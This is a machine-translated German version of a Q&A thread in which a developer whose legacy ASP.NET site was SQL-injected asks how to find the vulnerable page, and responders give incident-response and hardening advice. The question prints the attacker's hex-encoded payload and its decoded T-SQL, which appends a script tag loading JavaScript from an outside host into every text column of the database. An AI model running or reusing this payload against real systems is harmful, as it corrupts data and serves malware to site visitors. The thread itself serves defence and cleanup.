Frage HILFE! Produktionsdatenbank war SQL INJECTED! [Duplikat]


Mögliche Duplikate:
Mein Server wurde NOT gehackt 

Geeze, ich bin verzweifelt! Vor ein paar Stunden wurde unsere Produktions-DB sql-injiziert.

Ich weiß, wir haben einige große Löcher im System ... weil wir die Website von einem Typ geerbt haben, der es auf klassischem ASP gemacht hat, war seine Programmierung wirklich schrecklich und ungesichert. Daher haben wir einige Zeit damit verbracht, sie nach ASP.NET zu migrieren (zuerst 1.1, dann 2.0 und jetzt 3.5). Aber es ist ein großes Projekt, und es gibt immer noch alten und unsicheren Code. Ich werde nicht lügen, das Projekt ist ein Durcheinander, ich hasse es, aber es ist unser wichtigster Kunde (wir sind nur 2 junge Leute, keine große Firma).

Also weiß ich, dass sie irgendwie irgendwelche js-Skript-Referenzen auf meine ganze db injiziert haben. Es war wahrscheinlich durch eine alte Seite, die verkettete String-SQL-Abfragen verwendete und direkt in die db warf (weil der Typ, der das Projekt startete, sagte: Gespeicherte Prozeduren doesn 't arbeiten "..... so tat er die ganze Seite mit String-Verkettung und warf sie direkt auf den SQL, ohne irgendeine Sicherheitsvalidierung oder irgendetwas zu tun.

Als wir das Projekt bekamen, wollte der Kunde keine Zeit damit verbringen, den Mist zu wiederholen, den der alte Mann gemacht hatte. Also mussten wir bei der Entwicklung neuer Funktionen zu schlechtem und unsicheren Code führen und ihn reparieren, denn genau das wollte der Client ... und jetzt, wo wir sql injiziert wurden, werden sie natürlich verrückt.

SO....

** Gibt es eine Möglichkeit, nach den SQL-Abfragen zu suchen, die in den letzten X Stunden ausgeführt wurden? So etwas wie SQL Profiler (aber natürlich haben wir den Profiler nicht geöffnet, als der Attacke passierte)? Gibt es eine Möglichkeit herauszufinden, welche Seite die Schwachstelle ist? Bitte, helfen Sie, es gibt viele Seiten. Ich kann diese nicht manuell durchsuchen, ohne genau zu wissen, welches die Seite ist.

Auch ... könnte es einen anderen Weg geben, wie sie die db injizieren können? Wie mit einer IIS-Anfrage oder js oder etwas? **

Ich habe vollen Remote-Desktop-Zugriff auf den Server-Rechner (es ist nicht in einer gehosteten Umgebung), so dass ich auf jede Datei, Log, was auch immer auf dem Server zugreifen kann ...

Bitte helfen Sie!

PS: Tut mir leid, mein Englisch ist nicht so toll und es ist schlimmer, jetzt wo ich nervös bin!

BEARBEITEN

  • Windows 2003 Server
  • SQL SERVER 2005
  • ASP.NET 3.5

Das Skript, das sie werfen, ist das Folgende

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

Was in Text übersetzt ist:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

25


Ursprung


Ist diese akzeptable Industriepraxis jetzt? ein dringendes Sicherheitsproblem haben und um Hilfe im Internet bitten? - Sean Bright
sich selbst in die Situation zu bringen, könnte inakzeptabel sein, aber sobald ich dort bin, und wenn es an einem besseren Wissen darüber mangelt, wie ich dort herauskommen kann, glaube ich nicht, dass es akzeptabel sein sollte nicht Plädoyer für Hilfe im Internet (während du selbst forschst, woanders, was ich aus dem Ton heraus wage, den emzero bereits beschäftigt hat)
Leider ist es am einfachsten, die Daten aus der Sicherung zu reduzieren und wiederherzustellen. Wenn Ihr Server gehackt wird, können Sie ihm wirklich nichts anvertrauen.
Der Ton (und Inhalt) des ersten Kommentars erscheint mir als etwas, was ich von einem Dilbertesschen Manager als Antwort auf das gesamte SO-Konzept erwarten würde: "Ist diese akzeptable Industriepraxis jetzt? Ich habe eine dringende Frage zu Threading und Synchronisation Bitte um Hilfe im Internet? " Der Typ hat ein Problem und braucht Hilfe ... ihn zu beleidigen wird niemandem helfen. Gib ihm eine Pause.
REGEL # 1 - LANGSAM ... du hast es eilig. Sei nicht nervös und mach keine Panik. Bleib ruhig und tue dein Bestes, um dir alle möglichen Optionen auszudenken. VERTRAUEN SIE MIR AUF DIESEM. - KPWINC


Antworten:


Das erste, was zu tun ist, ist keine Panik. Aber ich sehe, dass du das übersprungen hast und beschlossen hast

Die zweite Sache ist, die Seite herunter zu nehmen und sicherzustellen, dass sie von außen nicht zugänglich ist, bis Sie herausfinden können, was kaputt ist. Sehen Sie sich die Zugriffsprotokolle an und versuchen Sie herauszufinden, was das Hauptproblem ist.

Als drittes sollten Sie sehen, ob Sie Ihre Datenbank regelmäßig sichern und nur einen Rollback durchführen. Sie könnten einige Daten verlieren - aber Sie sind an einem besseren Ort als Sie gerade sind

Das vierte, was zu tun ist - NICHT - geben Sie die URL, weil es anscheinend unsicher ist


24



Wenn du zu seinem Profil gehst und auf seine Website klickst und dann auf diese Website klickst und auf seine Kunden klickst (in diesem Fall Manyworlds.net), wirst du feststellen, dass diese Seite wegen Wartungsarbeiten nicht erreichbar ist. Vielleicht ist das die unsichere Seite? - George Stocker
Upvote zum Ausschalten der Seite. So viele Leute denken nicht daran, es zu tun, aber es ist wirklich wichtig. Sonst liefern Sie wissentlich Malware an Ihre Benutzer - Joel Coel
@ Gortok - lol, Supersleuth. - Greg
Ich habe auch auf ihrer Seite bemerkt, dass es ein Vorteil ist, aus Argentinien zu arbeiten, wie fließend sie in der englischen Sprache sind. Fließend genug, denke ich.
+1 über den Panikvorschlag. Meine Eltern erzählen mir ein Sprichwort, das übersetzt bedeutet: "Zieh mich langsam an, denn ich habe es eilig." Im Grunde muss er langsamer werden oder er wird Fehler machen oder verpassen.


Stellen Sie sicher, dass Sie die neueste Version von UrlScan installieren - es wurde so entwickelt, dass Sie auf diese Art von Angriffen stampfen können.

Wenn Sie IIS-Protokolle haben, sollte der Einstiegspunkt ziemlich offensichtlich sein - suchen Sie nach dem, den die Hacker hämmerten.

Eine andere gute Möglichkeit, wenn möglich, besteht darin, INSERT- und UPDATE-Rechte für das Web-Benutzerkonto zu verweigern und stattdessen gespeicherte Prozeduren auszuführen. Diese Art von Backstop hat uns vor einem ähnlichen Problem mit einer ähnlichen Legacy-App bewahrt, als es sich um einen Zero-Day-Angriff handelte.

Ich denke, dass Sie auch das Recht des PUBLIC-Benutzers zum Scannen von Tabellen entfernen können, das sie davon abhält, die "foreach table" -Angriffe auszuführen.


16



+1 für URLScan. Ich glaube, es hätte ihn in diesem speziellen Fall gerettet. - KPWINC
Ein Teil des Verhaltens von URLScan ist in IIS7 integriert. learn.iis.net/page.aspx/143/how-to-use-request-filterung Ich kann nicht sagen, ob es standardmäßig aktiviert ist. - p.campbell
Ich habe viel gegooglet, um zu sehen, ob ich den Zugriff auf sysobjects und syscolumns verweigern kann, aber es sagt, dass es nicht gemacht werden könnte ... also, das wird nicht helfen. Ich habe die anfällige Seite gefunden, die zum injizieren von sql benutzt wurde, also haben wir es behoben. Wie auch immer, ich werde einen Blick auf UrlScan werfen, scheint ein großartiges Werkzeug zu sein, obwohl ich gerade die zusammenfassende Beschreibung gelesen habe. Vielen Dank - emzero


Als ein Bezugspunkt ist dies die Arbeit des ASPRox bot SQL Injection Angriffs. Es scheint, dass es sich von Zeit zu Zeit selbst zeigt, weil es ziemlich viral wird, wenn kompromittierte Systeme gefunden werden. Sie können Google für "ASPRox bot" und einige zusätzliche Reinigungsmethoden und weitere Vorbeugungsmaßnahmen erhalten. Ich habe gerade gefunden dieses PDF Datei, die einen schönen Überblick über ihre Taktiken und Links zu einigen Aufräumoptionen bietet.

Das Problem ist, dass das Virus- / Injektionsmodell im Wesentlichen jedes einzelne Textfeld in ALLEN Datenbanktabellen genommen und ein kleines Snippet an die angegebene URL gesendet hat, um andere Web-Clients zu infizieren und sie zu Zombies zu machen, die Ihre Site besuchen .

Stellen Sie also sicher, dass Sie alle Datenbanken auf dem betreffenden Server überprüfen, nicht nur die Datenbank mit der betroffenen Datenbank, um eine ordnungsgemäße Bereinigung durchzuführen.

Es scheint, dass Sie mit den Vorschlägen hier auf dem richtigen Weg sind, aber einige "formelle" Verweise auf den Virusnamen könnten Ihnen bei zusätzlichen Bedürfnissen helfen.


10



Genau das ist erforderlich: Sie haben das Problem erkannt und auf die Lösungen hingewiesen. Gute Detektivarbeit. - Steven Sudit
Nun, es ist nur eine gute Arbeit, dass es mir vor einiger Zeit passiert ist. Glücklicherweise war es am Anfang von SO, also halfen mir die Leute sogar, ein Werkzeug zu schreiben, das NVARCHAR-Chaos entschlüsselt ... (stackoverflow.com/questions/109/decoding-t-sql-cast-in-c-vb-net) 8 ^ D - Dillie-O


Zuerst müssen Sie die Seite schließen, um weitere Injektionsangriffe zu verhindern.

Zweitens müssen Sie eine Sicherheitsüberprüfung durchführen, um festzustellen, welche Protokollierung Sie haben und welche Sicherheit auf dem System vorhanden ist und wie die Angreifer eindringen konnten.

Drittens müssen Sie Logging und Sicherheit für die Bereiche einrichten, in denen Sie kompromittiert wurden, zumindest. Setzen Sie ein System zur Erkennung von Eindringversuchen ein, das Sie sofort informiert (z. B. ein Pager).

Viertens informieren Sie das Management darüber, dass die Ausfallzeit eine Folge der Ignorierung der Sicherheit ist.


9



Upvote zum Ausschalten der Seite. So viele Leute denken nicht daran, es zu tun, aber es ist wirklich wichtig. Sonst liefern Sie wissentlich Malware an Ihre Benutzer. - Joel Coel
+1 für die Informationsverwaltung / den Client. Es ist teilweise ihre Schuld, dass Sie Ihre Empfehlung, die Website zu sichern, nicht übernommen haben. - Lazlow


Überprüfen Sie Ihre IIS-Protokolle, um herauszufinden, auf welcher Seite sie die Injektion durchgeführt haben. Unnötig zu sagen, dass Sie diese Seite schnell reparieren oder deaktivieren müssen.

Der beste Ansatz hängt vom Typ der Site ab. Wenn überhaupt möglich, Nimm die Seite herunter bis Sie eine unbeschädigte Datenbank wiederhergestellt oder die Änderungen rückgängig gemacht haben (das erfordert detaillierte Protokolle). Dann können Sie die Site im schreibgeschützten Modus wiederherstellen, bis Sie Zeit haben, das Problem zu beheben. Beschränken Sie das SQL-Konto nur auf SELECT.

Auch wenn Sie Abfragezeichenfolgen verketten, können Sie mit wenig Aufwand ziemlich sicher sein. Wenn Sie alle ASP-Dateien nach Schlüsselwörtern wie SELECT und UPDATE durchsuchen, werden alle Abfragen angezeigt. Umgeben Sie all Ihre Parameter mit grundlegenden Gesundheitschecks, um zu beginnen.

Da Sie es wahrscheinlich eilig haben, können Sie sich einige davon ansehen Ja wirklich alter ASP VBScript-Code von mir. Es gibt eine Reihe von SafeSqlWhere-Funktionen, die Ihnen helfen, sichere SQL-Anweisungen zu erstellen. Keine Garantien, es war nie beabsichtigt, öffentlich zu sein. Ersetzen Sie jedoch alle Variableneingaben durch die SqlVar (etwasWert) Funktion sollte Sie beginnen. Sie müssen die einfachen Anführungszeichen aus dem Rest der Abfragezeichenfolge entfernen, da SqlVar sie für Sie hinzufügt. Verwenden Sie alternativ die Funktionen, die für den Typ des erwarteten Werts spezifisch sind:

Vor:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

Nach dem:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS: Nein, das ist nicht so, wie es sein sollte, aber wahrscheinlich am schnellsten, um die Dinge wieder in Ordnung zu bringen, wo du jetzt bist.


3



Ich liebe die Skriptbeispiele. (Obwohl Sie SafeUBound zweimal deklariert haben, aber asp lässt Sie damit durchkommen;)
Haha, tatsächlich ... nie bemerkt :) Persönlich starrte ich auf den Mod 100 in der NiceDate-Funktion. Nahm mich eine Minute, um herauszufinden, was es tat: P


Versuchen Sie, die ursprüngliche Frage über das Verfolgen der Abfrage zu beantworten, die ich aus der anderen Richtung tun würde, wenn der Server nicht zurückgesetzt wurde, ziehen Sie alle Abfragen aus dem Abfrage-Cache, dass meine zeigen, welche Abfrage ausgeführt wurde - vorausgesetzt, es ist immer noch im Cache.

SELECT  ( SUBSTRING(s2.text, (statement_start_offset / 2) + 1, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2) ELSE statement_end_offset END)- statement_start_offset)/2)) AS sql_statement
    ,execution_count
    ,(total_worker_time / 1000) as total_worker_time_milli_s
    ,(last_worker_time / 1000) as last_worker_time_milli_s
    ,((total_worker_time / execution_count) / 1000) as average_worker_time_milli_s
    ,min_worker_time
    ,max_worker_time
    ,last_execution_time
    ,qp.query_plan
FROM 
    sys.dm_exec_query_stats qs 
    CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2  
    CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) as qp
WHERE
    s2.objectid is null
ORDER BY
    total_worker_time desc

3





IIS verfügt möglicherweise über einige Protokolle, die Hinweise darauf geben können, auf welche Seiten zugegriffen wurde, wenn die Protokollierung aktiviert ist. Sie können die Konfiguration der Website einchecken.


2





Ich würde zuerst sicherstellen, dass der SQL-Benutzer für die Anwendung nur Lesezugriff standardmäßig hat. Fügen Sie den Einfüge- / Aktualisierungs- / Löschzugriff nur für die Tabellen hinzu, in denen er benötigt wird.

Müssen Sie die .js-Referenzen aus der Datenbank entfernen? Wir haben dieses Skript vor einiger Zeit verwendet, um alle .js-Referenzen für alle unsere Tabellen zu entfernen. Is ist ein globaler Fund / Ersatz für die Datenbank. Geben Sie die .js-Referenz ein, an der Sie Folgendes sehen: PLACE BAD JAVA SCRIPT CODE HERE

DECLARE @T varchar(255),@C varchar(4000)   
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)   
OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('SELECT [' + @C + '] FROM [' + @T + '] WHERE [' + @C  + '] LIKE ''%.js%'' ')
FETCH NEXT FROM Table_Cursor1 INTO @T,@C END   
CLOSE Table_Cursor1 DEALLOCATE Table_Cursor1    

DECLARE @T varchar(255),@C varchar(4000)    
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)    
OPEN Table_Cursor    
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''PLACE BAD JAVA SCRIPT CODE HERE'','''')')     
FETCH NEXT FROM Table_Cursor INTO @T,@C END      
CLOSE Table_Cursor DEALLOCATE Table_Cursor

2



Danke, es hat fast funktioniert ... aber wir haben ein paar Textspalten ... also ... das Wiederherstellen der neuesten Datensicherung ist die einzige Lösung - emzero


Was normalerweise passiert, ist, dass der Hacker (der oft ein Bot ist) eine Google-Suche nach möglichen Einsprungspunkten für SQL-Injection durchführt (nach Querystrings suchend, indem man nach "inurl: .aspx?" Oder "inurl :? id = "). und dann wird automatisch auf die Sicherheitsanfälligkeit durch Injektion getestet. Wenn Sie den Einstiegspunkt finden möchten, ist es möglicherweise eine gute Idee, Google ähnliche Suchanfragen zu geben und zu sehen, welche Querystring-Sites von Ihnen indiziert wurden.

Diese Skripte hoffen normalerweise, dass das ausführende Skript Zugriff auf sysobjects hat. In diesem Fall kann es durch alle Tabellen in der Datenbank iterieren und sich in jede Spalte injizieren. Wenn dies passiert ist (was ich denke, ansonsten könnte man einfach annehmen, dass die injection-Schwachstelle der injizierte Code ist), habe ich ein Skript geschrieben, das dasselbe tut, um die gesamte Datenbank nach einem bestimmten Wert zu durchsuchen. es kann hier gefunden werden:

http://pastebay.com/28400

Wenn Sie keine Backups haben (was ich von Ihrem etwas verzweifelten Tonfall annehme), kann dieses Skript verwendet werden, um alle injizierten Spalten zu lokalisieren, und mit ein wenig Modifikation könnte es auch dazu verwendet werden, diese Injektionen zu entfernen.

So viel zur Wiederherstellung der Umwelt. Danach kommt die Aufgabe, dafür zu sorgen, dass es nicht wieder passiert. Du bist nicht drin Das Es ist sehr eilig, wer auch immer dich eingespritzt hat, hat dich wahrscheinlich zufällig getroffen und wird es wahrscheinlich nicht sehr bald versuchen, aber lerne daraus eine Lektion und mach es zu einem vorrangigen Thema.

Wie für die Sicherung der Website, habe ich bereits den Google-Weg erwähnt, um einen Hinweis zu bekommen, wo die Schwachstellen sind, aber wirklich, es ist an der Zeit, dass Sie die Aufgabe, Ihre SQL-Abfragen Schritt für Schritt zu gespeicherten Prozeduren verschieben oder ein OR / M oder etwas. wenn du damit fertig bist, bist du ziemlich weit gekommen, um deine unordentliche Quelle aufzuräumen.


2



Die Reihenfolge ist ein bisschen zurück: Ich würde sicherstellen, dass es nicht wieder passiert und dann stelle die Datenbank wieder her. - Joel Coel
das ist natürlich ein gültiger Punkt, aber ein solches Projekt könnte einige Zeit in Anspruch nehmen, und ich bin mir nicht sicher, ob der Kunde das akzeptieren würde. Außerdem injiziert dieses Skript tatsächlich js includes, die dann die Infektion auf besuchende Benutzer verteilen. Ich denke wirklich, dass es ein vorrangiges Problem sein sollte, das zuerst zu entfernen, um andere nicht zu infizieren.


Wenn Sie wissen, dass Sicherheitslücken vorhanden sind, sollten Sie auf jeden Fall in Erwägung ziehen, a Webanwendungs-Firewall Dies ist ein Filter, der vor Ihrem Webserver ausgeführt wird, um zu verhindern, dass böswillige Eingaben und bekannte Angriffe Ihre Anwendung / Datenbank erreichen. Auf diese Weise können Sie Ihre Sicherheit ad-hoc verbessern, ohne Ihre Legacy-Anwendung neu zu schreiben und zu überprüfen.

Dies ist keine perfekte Lösung, aber mit der gegebenen Situation wäre es ein schneller Weg, um eine größere Anzahl von Sicherheitslücken auf einmal zu beheben.


1



Ich habe alles vergessen, weil ich es für eine schlechte Angewohnheit halte, mich auf sie zu verlassen. Aber in diesem Fall ist es eine gute Zwischenlösung :)
Ja, dem stimme ich voll und ganz zu. Vielleicht war mein letzter Absatz damit nicht klar genug. - 0xA3